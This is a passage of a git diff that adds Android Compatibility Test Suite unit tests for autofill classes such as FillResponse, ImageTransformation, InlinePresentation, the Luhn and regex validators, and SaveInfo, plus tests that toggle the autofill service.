+        assertThat(mBuilder.build().getFlags())
+                .isEqualTo(FLAG_TRACK_CONTEXT_COMMITED | FLAG_DISABLE_ACTIVITY_ONLY);
+    }
+
+    @Test
+    public void testBuild_invalid() {
+        assertThrows(IllegalStateException.class, () -> mBuilder.build());
+    }
+
+    @Test
+    public void testBuild_valid() {
+        // authentication only
+        assertThat(new FillResponse.Builder().setAuthentication(mIds, mIntentSender, mPresentation)
+                .build()).isNotNull();
+        // save info only
+        assertThat(new FillResponse.Builder().setSaveInfo(mSaveInfo).build()).isNotNull();
+        // dataset only
+        assertThat(new FillResponse.Builder().addDataset(mDataset).build()).isNotNull();
+        // disable autofill only
+        assertThat(new FillResponse.Builder().disableAutofill(mDisableDuration).build())
+                .isNotNull();
+        // fill detection only
+        assertThat(new FillResponse.Builder().setFieldClassificationIds(mAutofillId).build())
+                .isNotNull();
+        // client state only
+        assertThat(new FillResponse.Builder().setClientState(mClientState).build())
+                .isNotNull();
+    }
+
+    @Test
+    public void testBuilder_build_headerOrFooterWithoutDatasets() {
+        assertThrows(IllegalStateException.class,
+                () -> new FillResponse.Builder().setHeader(mHeader).build());
+        assertThrows(IllegalStateException.class,
+                () -> new FillResponse.Builder().setFooter(mFooter).build());
+    }
+
+    @Test
+    public void testNoMoreInteractionsAfterBuild() {
+        assertThat(mBuilder.setAuthentication(mIds, mIntentSender, mPresentation).build())
+                .isNotNull();
+
+        assertThrows(IllegalStateException.class, () -> mBuilder.build());
+        assertThrows(IllegalStateException.class,
+                () -> mBuilder.setAuthentication(mIds, mIntentSender, mPresentation).build());
+        assertThrows(IllegalStateException.class, () -> mBuilder.setIgnoredIds(mIds));
+        assertThrows(IllegalStateException.class, () -> mBuilder.addDataset(null));
+        assertThrows(IllegalStateException.class, () -> mBuilder.setSaveInfo(mSaveInfo));
+        assertThrows(IllegalStateException.class, () -> mBuilder.setClientState(mClientState));
+        assertThrows(IllegalStateException.class, () -> mBuilder.setFlags(0));
+        assertThrows(IllegalStateException.class,
+                () -> mBuilder.setFieldClassificationIds(mAutofillId));
+        assertThrows(IllegalStateException.class, () -> mBuilder.setHeader(mHeader));
+        assertThrows(IllegalStateException.class, () -> mBuilder.setFooter(mFooter));
+        assertThrows(IllegalStateException.class, () -> mBuilder.setUserData(mUserData));
+        assertThrows(IllegalStateException.class, () -> mBuilder.setPresentationCancelIds(null));
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/unittests/ImageTransformationTest.java b/tests/autofillservice/src/android/autofillservice/cts/unittests/ImageTransformationTest.java
new file mode 100644
index 0000000..ea7fc63
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/unittests/ImageTransformationTest.java
@@ -0,0 +1,223 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.unittests;
+
+import static org.mockito.ArgumentMatchers.anyInt;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.only;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.when;
+import static org.testng.Assert.assertThrows;
+
+import android.platform.test.annotations.AppModeFull;
+import android.service.autofill.ImageTransformation;
+import android.service.autofill.ValueFinder;
+import android.view.autofill.AutofillId;
+import android.widget.RemoteViews;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+@AppModeFull(reason = "Unit test")
+public class ImageTransformationTest {
+
+    @Test
+    @SuppressWarnings("deprecation")
+    public void testAllNullBuilder() {
+        assertThrows(NullPointerException.class,
+                () ->  new ImageTransformation.Builder(null, null, 0));
+    }
+
+    @Test
+    @SuppressWarnings("deprecation")
+    public void testNullAutofillIdBuilder() {
+        assertThrows(NullPointerException.class,
+                () ->  new ImageTransformation.Builder(null, Pattern.compile(""), 1));
+    }
+
+    @Test
+    @SuppressWarnings("deprecation")
+    public void testNullRegexBuilder() {
+        assertThrows(NullPointerException.class,
+                () ->  new ImageTransformation.Builder(new AutofillId(1), null, 1));
+    }
+
+    @Test
+    @SuppressWarnings("deprecation")
+    public void testNullSubstBuilder() {
+        assertThrows(IllegalArgumentException.class,
+                () ->  new ImageTransformation.Builder(new AutofillId(1), Pattern.compile(""), 0));
+    }
+
+    @Test
+    @SuppressWarnings("deprecation")
+    public void fieldCannotBeFound() throws Exception {
+        AutofillId unknownId = new AutofillId(42);
+
+        ImageTransformation trans = new ImageTransformation
+                .Builder(unknownId, Pattern.compile("val"), 1)
+                .build();
+
+        ValueFinder finder = mock(ValueFinder.class);
+        RemoteViews template = mock(RemoteViews.class);
+
+        when(finder.findByAutofillId(unknownId)).thenReturn(null);
+
+        trans.apply(finder, template, 0);
+
+        // if a view cannot be found, nothing is set
+        verify(template, never()).setImageViewResource(anyInt(), anyInt());
+    }
+
+    @Test
+    @SuppressWarnings("deprecation")
+    public void theOneOptionsMatches() throws Exception {
+        AutofillId id = new AutofillId(1);
+        ImageTransformation trans = new ImageTransformation
+                .Builder(id, Pattern.compile(".*"), 42)
+                .build();
+
+        ValueFinder finder = mock(ValueFinder.class);
+        RemoteViews template = mock(RemoteViews.class);
+
+        when(finder.findByAutofillId(id)).thenReturn("val");
+
+        trans.apply(finder, template, 0);
+
+        verify(template).setImageViewResource(0, 42);
+    }
+
+    @Test
+    public void theOneOptionsMatchesWithContentDescription() throws Exception {
+        AutofillId id = new AutofillId(1);
+        ImageTransformation trans = new ImageTransformation
+                .Builder(id, Pattern.compile(".*"), 42, "Are you content?")
+                .build();
+
+        ValueFinder finder = mock(ValueFinder.class);
+        RemoteViews template = mock(RemoteViews.class);
+
+        when(finder.findByAutofillId(id)).thenReturn("val");
+
+        trans.apply(finder, template, 0);
+
+        verify(template).setImageViewResource(0, 42);
+        verify(template).setContentDescription(0, "Are you content?");
+    }
+
+    @Test
+    @SuppressWarnings("deprecation")
+    public void noOptionsMatches() throws Exception {
+        AutofillId id = new AutofillId(1);
+        ImageTransformation trans = new ImageTransformation
+                .Builder(id, Pattern.compile("val"), 42)
+                .build();
+
+        ValueFinder finder = mock(ValueFinder.class);
+        RemoteViews template = mock(RemoteViews.class);
+
+        when(finder.findByAutofillId(id)).thenReturn("bad-val");
+
+        trans.apply(finder, template, 0);
+
+        verify(template, never()).setImageViewResource(anyInt(), anyInt());
+    }
+
+    @Test
+    @SuppressWarnings("deprecation")
+    public void multipleOptionsOneMatches() throws Exception {
+        AutofillId id = new AutofillId(1);
+        ImageTransformation trans = new ImageTransformation
+                .Builder(id, Pattern.compile(".*1"), 1)
+                .addOption(Pattern.compile(".*2"), 2)
+                .build();
+
+        ValueFinder finder = mock(ValueFinder.class);
+        RemoteViews template = mock(RemoteViews.class);
+
+        when(finder.findByAutofillId(id)).thenReturn("val-2");
+
+        trans.apply(finder, template, 0);
+
+        verify(template).setImageViewResource(0, 2);
+    }
+
+    @Test
+    public void multipleOptionsOneMatchesWithContentDescription() throws Exception {
+        AutofillId id = new AutofillId(1);
+        ImageTransformation trans = new ImageTransformation
+                .Builder(id, Pattern.compile(".*1"), 1, "Are you content?")
+                .addOption(Pattern.compile(".*2"), 2, "I am content")
+                .build();
+
+        ValueFinder finder = mock(ValueFinder.class);
+        RemoteViews template = mock(RemoteViews.class);
+
+        when(finder.findByAutofillId(id)).thenReturn("val-2");
+
+        trans.apply(finder, template, 0);
+
+        verify(template).setImageViewResource(0, 2);
+        verify(template).setContentDescription(0, "I am content");
+    }
+
+    @Test
+    @SuppressWarnings("deprecation")
+    public void twoOptionsMatch() throws Exception {
+        AutofillId id = new AutofillId(1);
+        ImageTransformation trans = new ImageTransformation
+                .Builder(id, Pattern.compile(".*a.*"), 1)
+                .addOption(Pattern.compile(".*b.*"), 2)
+                .build();
+
+        ValueFinder finder = mock(ValueFinder.class);
+        RemoteViews template = mock(RemoteViews.class);
+
+        when(finder.findByAutofillId(id)).thenReturn("ab");
+
+        trans.apply(finder, template, 0);
+
+        // If two options match, the first one is picked
+        verify(template, only()).setImageViewResource(0, 1);
+    }
+
+    @Test
+    public void twoOptionsMatchWithContentDescription() throws Exception {
+        AutofillId id = new AutofillId(1);
+        ImageTransformation trans = new ImageTransformation
+                .Builder(id, Pattern.compile(".*a.*"), 1, "Are you content?")
+                .addOption(Pattern.compile(".*b.*"), 2, "No, I'm not")
+                .build();
+
+        ValueFinder finder = mock(ValueFinder.class);
+        RemoteViews template = mock(RemoteViews.class);
+
+        when(finder.findByAutofillId(id)).thenReturn("ab");
+
+        trans.apply(finder, template, 0);
+
+        // If two options match, the first one is picked
+        verify(template).setImageViewResource(0, 1);
+        verify(template).setContentDescription(0, "Are you content?");
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/unittests/InlinePresentationTest.java b/tests/autofillservice/src/android/autofillservice/cts/unittests/InlinePresentationTest.java
new file mode 100644
index 0000000..0bf230c
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/unittests/InlinePresentationTest.java
@@ -0,0 +1,92 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.unittests;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertThrows;
+
+import android.app.slice.Slice;
+import android.app.slice.SliceSpec;
+import android.net.Uri;
+import android.os.Parcel;
+import android.service.autofill.InlinePresentation;
+import android.util.Size;
+import android.widget.inline.InlinePresentationSpec;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class InlinePresentationTest {
+
+    @Test
+    public void testNullInlinePresentationSpecsThrowsException() {
+        assertThrows(NullPointerException.class,
+                () -> createInlinePresentation(/* createSlice */true, /* createSpec */  false));
+    }
+
+    @Test
+    public void testNullSliceThrowsException() {
+        assertThrows(NullPointerException.class,
+                () -> createInlinePresentation(/* createSlice */false, /* createSpec */  true));
+    }
+
+    @Test
+    public void testInlinePresentationValues() {
+        InlinePresentation presentation =
+                createInlinePresentation(/* createSlice */true, /* createSpec */  true);
+
+        assertThat(presentation.isPinned()).isFalse();
+        assertThat(presentation.getInlinePresentationSpec()).isNotNull();
+        assertThat(presentation.getSlice()).isNotNull();
+        assertThat(presentation.getSlice().getItems().size()).isEqualTo(0);
+    }
+
+    @Test
+    public void testtInlinePresentationParcelizeDeparcelize() {
+        InlinePresentation presentation =
+                createInlinePresentation(/* createSlice */true, /* createSpec */  true);
+
+        Parcel p = Parcel.obtain();
+        presentation.writeToParcel(p, 0);
+        p.setDataPosition(0);
+
+        InlinePresentation targetPresentation = InlinePresentation.CREATOR.createFromParcel(p);
+        p.recycle();
+
+        assertThat(targetPresentation.isPinned()).isEqualTo(presentation.isPinned());
+        assertThat(targetPresentation.getInlinePresentationSpec()).isEqualTo(
+                presentation.getInlinePresentationSpec());
+        assertThat(targetPresentation.getSlice().getUri()).isEqualTo(
+                presentation.getSlice().getUri());
+        assertThat(targetPresentation.getSlice().getSpec()).isEqualTo(
+                presentation.getSlice().getSpec());
+    }
+
+    private InlinePresentation createInlinePresentation(boolean createSlice, boolean createSpec) {
+        Slice slice = createSlice ? new Slice.Builder(Uri.parse("testuri"),
+                new SliceSpec("type", 1)).build() : null;
+        InlinePresentationSpec spec = createSpec ? new InlinePresentationSpec.Builder(
+                new Size(100, 100), new Size(400, 100)).build() : null;
+        return new InlinePresentation(slice, spec, /* pined */ false);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/unittests/LuhnChecksumValidatorTest.java b/tests/autofillservice/src/android/autofillservice/cts/unittests/LuhnChecksumValidatorTest.java
new file mode 100644
index 0000000..4b52010
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/unittests/LuhnChecksumValidatorTest.java
@@ -0,0 +1,142 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.unittests;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.when;
+import static org.testng.Assert.assertThrows;
+
+import android.platform.test.annotations.AppModeFull;
+import android.service.autofill.LuhnChecksumValidator;
+import android.service.autofill.ValueFinder;
+import android.view.autofill.AutofillId;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+@AppModeFull(reason = "Unit test")
+public class LuhnChecksumValidatorTest {
+
+    @Test
+    public void nullId() {
+        assertThrows(NullPointerException.class,
+                () -> new LuhnChecksumValidator((AutofillId[]) null));
+    }
+
+    @Test
+    public void nullAndOtherId() {
+        assertThrows(NullPointerException.class,
+                () -> new LuhnChecksumValidator(new AutofillId(1), null));
+    }
+
+    @Test
+    public void duplicateFields() {
+        AutofillId id = new AutofillId(1);
+
+        // duplicate fields are allowed
+        LuhnChecksumValidator validator = new LuhnChecksumValidator(id, id);
+
+        ValueFinder finder = mock(ValueFinder.class);
+
+        // 5 is a valid checksum for 0005000
+        when(finder.findByAutofillId(id)).thenReturn("0005");
+        assertThat(validator.isValid(finder)).isTrue();
+
+        // 6 is a not a valid checksum for 0006000
+        when(finder.findByAutofillId(id)).thenReturn("0006");
+        assertThat(validator.isValid(finder)).isFalse();
+    }
+
+    @Test
+    public void leadingZerosAreIgnored() {
+        AutofillId id = new AutofillId(1);
+
+        LuhnChecksumValidator validator = new LuhnChecksumValidator(id);
+
+        ValueFinder finder = mock(ValueFinder.class);
+
+        when(finder.findByAutofillId(id)).thenReturn("7992739871-3");
+        assertThat(validator.isValid(finder)).isTrue();
+
+        when(finder.findByAutofillId(id)).thenReturn("07992739871-3");
+        assertThat(validator.isValid(finder)).isTrue();
+    }
+
+    @Test
+    public void onlyOneChecksumValid() {
+        AutofillId id = new AutofillId(1);
+
+        LuhnChecksumValidator validator = new LuhnChecksumValidator(id);
+
+        ValueFinder finder = mock(ValueFinder.class);
+
+        for (int i = 0; i < 10; i++) {
+            when(finder.findByAutofillId(id)).thenReturn("7992739871-" + i);
+            assertThat(validator.isValid(finder)).isEqualTo(i == 3);
+        }
+    }
+
+    @Test
+    public void nullAutofillValuesCauseFailure() {
+        AutofillId id1 = new AutofillId(1);
+        AutofillId id2 = new AutofillId(2);
+        AutofillId id3 = new AutofillId(3);
+
+        LuhnChecksumValidator validator = new LuhnChecksumValidator(id1, id2, id3);
+
+        ValueFinder finder = mock(ValueFinder.class);
+
+        when(finder.findByAutofillId(id1)).thenReturn("7992739871");
+        when(finder.findByAutofillId(id2)).thenReturn(null);
+        when(finder.findByAutofillId(id3)).thenReturn("3");
+
+        assertThat(validator.isValid(finder)).isFalse();
+    }
+
+    @Test
+    public void nonDigits() {
+        AutofillId id = new AutofillId(1);
+
+        LuhnChecksumValidator validator = new LuhnChecksumValidator(id);
+
+        ValueFinder finder = mock(ValueFinder.class);
+        when(finder.findByAutofillId(id)).thenReturn("a7B9^9\n2 7{3\b9\08\uD83C\uDF2D7-1_3$");
+        assertThat(validator.isValid(finder)).isTrue();
+    }
+
+    @Test
+    public void multipleFieldNumber() {
+        AutofillId id1 = new AutofillId(1);
+        AutofillId id2 = new AutofillId(2);
+
+        LuhnChecksumValidator validator = new LuhnChecksumValidator(id1, id2);
+
+        ValueFinder finder = mock(ValueFinder.class);
+
+        when(finder.findByAutofillId(id1)).thenReturn("7992739871");
+        when(finder.findByAutofillId(id2)).thenReturn("3");
+        assertThat(validator.isValid(finder)).isTrue();
+
+        when(finder.findByAutofillId(id2)).thenReturn("2");
+        assertThat(validator.isValid(finder)).isFalse();
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/unittests/RegexValidatorTest.java b/tests/autofillservice/src/android/autofillservice/cts/unittests/RegexValidatorTest.java
new file mode 100644
index 0000000..d7f8627
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/unittests/RegexValidatorTest.java
@@ -0,0 +1,97 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.unittests;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.when;
+import static org.testng.Assert.assertThrows;
+
+import android.platform.test.annotations.AppModeFull;
+import android.service.autofill.RegexValidator;
+import android.service.autofill.ValueFinder;
+import android.view.autofill.AutofillId;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+@AppModeFull(reason = "Unit test")
+public class RegexValidatorTest {
+
+    @Test
+    public void allNullConstructor() {
+        assertThrows(NullPointerException.class, () -> new RegexValidator(null, null));
+    }
+
+    @Test
+    public void nullRegexConstructor() {
+        assertThrows(NullPointerException.class,
+                () -> new RegexValidator(new AutofillId(1), null));
+    }
+
+    @Test
+    public void nullAutofillIdConstructor() {
+        assertThrows(NullPointerException.class,
+                () -> new RegexValidator(null, Pattern.compile(".")));
+    }
+
+    @Test
+    public void unknownField() {
+        AutofillId unknownId = new AutofillId(42);
+
+        RegexValidator validator = new RegexValidator(unknownId, Pattern.compile(".*"));
+
+        ValueFinder finder = mock(ValueFinder.class);
+
+        when(finder.findByAutofillId(unknownId)).thenReturn(null);
+        assertThat(validator.isValid(finder)).isFalse();
+    }
+
+    @Test
+    public void singleFieldValid() {
+        AutofillId creditCardFieldId = new AutofillId(1);
+        RegexValidator validator = new RegexValidator(creditCardFieldId,
+                Pattern.compile("^\\s*\\d{4}[\\s-]?\\d{4}[\\s-]?\\d{4}[\\s-]?(\\d{4})\\s*$"));
+
+        ValueFinder finder = mock(ValueFinder.class);
+
+        when(finder.findByAutofillId(creditCardFieldId)).thenReturn("1234 5678 9012 3456");
+        assertThat(validator.isValid(finder)).isTrue();
+
+        when(finder.findByAutofillId(creditCardFieldId)).thenReturn("invalid");
+        assertThat(validator.isValid(finder)).isFalse();
+    }
+
+    @Test
+    public void singleFieldInvalid() {
+        AutofillId id = new AutofillId(1);
+        RegexValidator validator = new RegexValidator(id, Pattern.compile("\\d*"));
+
+        ValueFinder finder = mock(ValueFinder.class);
+
+        when(finder.findByAutofillId(id)).thenReturn("123a456");
+
+        // Regex has to match the whole value
+        assertThat(validator.isValid(finder)).isFalse();
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/unittests/SaveInfoTest.java b/tests/autofillservice/src/android/autofillservice/cts/unittests/SaveInfoTest.java
new file mode 100644
index 0000000..1ad74bf
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/unittests/SaveInfoTest.java
@@ -0,0 +1,149 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.unittests;
+
+import static android.service.autofill.SaveInfo.FLAG_DELAY_SAVE;
+import static android.service.autofill.SaveInfo.FLAG_DONT_SAVE_ON_FINISH;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.mockito.Mockito.mock;
+import static org.testng.Assert.assertThrows;
+
+import android.platform.test.annotations.AppModeFull;
+import android.service.autofill.InternalSanitizer;
+import android.service.autofill.Sanitizer;
+import android.service.autofill.SaveInfo;
+import android.view.autofill.AutofillId;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+@AppModeFull(reason = "Unit test")
+public class SaveInfoTest {
+
+    private final AutofillId mId = new AutofillId(42);
+    private final AutofillId[] mIdArray = { mId };
+    private final InternalSanitizer mSanitizer = mock(InternalSanitizer.class);
+
+    @Test
+    public void testRequiredIdsBuilder_null() {
+        assertThrows(IllegalArgumentException.class,
+                () -> new SaveInfo.Builder(SAVE_DATA_TYPE_GENERIC, null));
+    }
+
+    @Test
+    public void testRequiredIdsBuilder_empty() {
+        assertThrows(IllegalArgumentException.class,
+                () -> new SaveInfo.Builder(SAVE_DATA_TYPE_GENERIC, new AutofillId[] {}));
+    }
+
+    @Test
+    public void testRequiredIdsBuilder_nullEntry() {
+        assertThrows(IllegalArgumentException.class,
+                () -> new SaveInfo.Builder(SAVE_DATA_TYPE_GENERIC,
+                        new AutofillId[] { null }));
+    }
+
+    @Test
+    public void testBuild_noOptionalIds() {
+        final SaveInfo.Builder builder = new SaveInfo.Builder(SAVE_DATA_TYPE_GENERIC);
+        assertThrows(IllegalStateException.class, ()-> builder.build());
+    }
+
+    @Test
+    public void testSetOptionalIds_null() {
+        final SaveInfo.Builder builder = new SaveInfo.Builder(SAVE_DATA_TYPE_GENERIC,
+                mIdArray);
+        assertThrows(IllegalArgumentException.class, ()-> builder.setOptionalIds(null));
+    }
+
+    @Test
+    public void testSetOptional_empty() {
+        final SaveInfo.Builder builder = new SaveInfo.Builder(SAVE_DATA_TYPE_GENERIC,
+                mIdArray);
+        assertThrows(IllegalArgumentException.class,
+                () -> builder.setOptionalIds(new AutofillId[] {}));
+    }
+
+    @Test
+    public void testSetOptional_nullEntry() {
+        final SaveInfo.Builder builder = new SaveInfo.Builder(SAVE_DATA_TYPE_GENERIC,
+                mIdArray);
+        assertThrows(IllegalArgumentException.class,
+                () -> builder.setOptionalIds(new AutofillId[] { null }));
+    }
+
+    @Test
+    public void testAddSanitizer_illegalArgs() {
+        final SaveInfo.Builder builder = new SaveInfo.Builder(SAVE_DATA_TYPE_GENERIC,
+                mIdArray);
+        // Null sanitizer
+        assertThrows(IllegalArgumentException.class,
+                () -> builder.addSanitizer(null, mId));
+        // Invalid sanitizer class
+        assertThrows(IllegalArgumentException.class,
+                () -> builder.addSanitizer(mock(Sanitizer.class), mId));
+        // Null ids
+        assertThrows(IllegalArgumentException.class,
+                () -> builder.addSanitizer(mSanitizer, (AutofillId[]) null));
+        // Empty ids
+        assertThrows(IllegalArgumentException.class,
+                () -> builder.addSanitizer(mSanitizer, new AutofillId[] {}));
+        // Repeated ids
+        assertThrows(IllegalArgumentException.class,
+                () -> builder.addSanitizer(mSanitizer, new AutofillId[] {mId, mId}));
+    }
+
+    @Test
+    public void testAddSanitizer_sameIdOnDifferentCalls() {
+        final SaveInfo.Builder builder = new SaveInfo.Builder(SAVE_DATA_TYPE_GENERIC,
+                mIdArray);
+        builder.addSanitizer(mSanitizer, mId);
+        assertThrows(IllegalArgumentException.class, () -> builder.addSanitizer(mSanitizer, mId));
+    }
+
+    @Test
+    public void testBuild_invalid() {
+        // No nothing
+        assertThrows(IllegalStateException.class, () -> new SaveInfo.Builder(SAVE_DATA_TYPE_GENERIC)
+                .build());
+        // Flag only, but invalid flag
+        assertThrows(IllegalStateException.class, () -> new SaveInfo.Builder(SAVE_DATA_TYPE_GENERIC)
+                .setFlags(FLAG_DONT_SAVE_ON_FINISH).build());
+    }
+
+    @Test
+    public void testBuild_valid() {
+        // Required ids
+        assertThat(new SaveInfo.Builder(SAVE_DATA_TYPE_GENERIC, mIdArray)
+                .build()).isNotNull();
+
+        // Optional ids
+        assertThat(new SaveInfo.Builder(SAVE_DATA_TYPE_GENERIC).setOptionalIds(mIdArray)
+                .build()).isNotNull();
+
+        // Delayed save
+        assertThat(new SaveInfo.Builder(SAVE_DATA_TYPE_GENERIC).setFlags(FLAG_DELAY_SAVE)
+                .build()).isNotNull();
+    }
+
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/unittests/ServiceDisabledForSureTest.java b/tests/autofillservice/src/android/autofillservice/cts/unittests/ServiceDisabledForSureTest.java
new file mode 100644
index 0000000..93a0df5
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/unittests/ServiceDisabledForSureTest.java
@@ -0,0 +1,84 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.unittests;
+
+import static android.autofillservice.cts.activities.OnCreateServiceStatusVerifierActivity.SERVICE_NAME;
+import static android.autofillservice.cts.testcore.Helper.disableAutofillService;
+import static android.autofillservice.cts.testcore.Helper.enableAutofillService;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.autofillservice.cts.activities.OnCreateServiceStatusVerifierActivity;
+import android.autofillservice.cts.commontests.AutoFillServiceTestCase;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
+import android.autofillservice.cts.testcore.Helper;
+import android.platform.test.annotations.AppModeFull;
+import android.util.Log;
+import android.view.autofill.AutofillManager;
+
+import org.junit.BeforeClass;
+import org.junit.Test;
+
+/**
+ * Test case that guarantee the service is disabled before the activity launches.
+ */
+@AppModeFull(reason = "Service-specific test")
+public class ServiceDisabledForSureTest
+        extends AutoFillServiceTestCase.AutoActivityLaunch<OnCreateServiceStatusVerifierActivity> {
+
+    private static final String TAG = "ServiceDisabledForSureTest";
+
+    private OnCreateServiceStatusVerifierActivity mActivity;
+
+    @BeforeClass
+    public static void resetService() {
+        disableAutofillService(sContext);
+    }
+
+    @Override
+    protected AutofillActivityTestRule<OnCreateServiceStatusVerifierActivity> getActivityRule() {
+        return new AutofillActivityTestRule<OnCreateServiceStatusVerifierActivity>(
+                OnCreateServiceStatusVerifierActivity.class) {
+            @Override
+            protected void afterActivityLaunched() {
+                mActivity = getActivity();
+            }
+        };
+    }
+
+    @Override
+    protected void prepareServicePreTest() {
+        // Doesn't need to prepare the service - that was already taken care of in a @BeforeClass -
+        // but to guarantee the test finishes in the proper state
+        Log.v(TAG, "prepareServicePreTest(): not doing anything");
+        mSafeCleanerRule.run(() ->assertThat(mActivity.getAutofillManager().isEnabled()).isFalse());
+    }
+
+    @Test
+    public void testIsAutofillEnabled() throws Exception {
+        mActivity.assertServiceStatusOnCreate(false);
+
+        final AutofillManager afm = mActivity.getAutofillManager();
+        Helper.assertAutofillEnabled(afm, false);
+
+        enableAutofillService(mContext, SERVICE_NAME);
+        Helper.assertAutofillEnabled(afm, true);
+
+        disableAutofillService(mContext);
+        Helper.assertAutofillEnabled(afm, false);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/unittests/ServiceEnabledForSureTest.java b/tests/autofillservice/src/android/autofillservice/cts/unittests/ServiceEnabledForSureTest.java
new file mode 100644
index 0000000..fab4841
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/unittests/ServiceEnabledForSureTest.java
@@ -0,0 +1,82 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.unittests;
+
+import static android.autofillservice.cts.activities.OnCreateServiceStatusVerifierActivity.SERVICE_NAME;
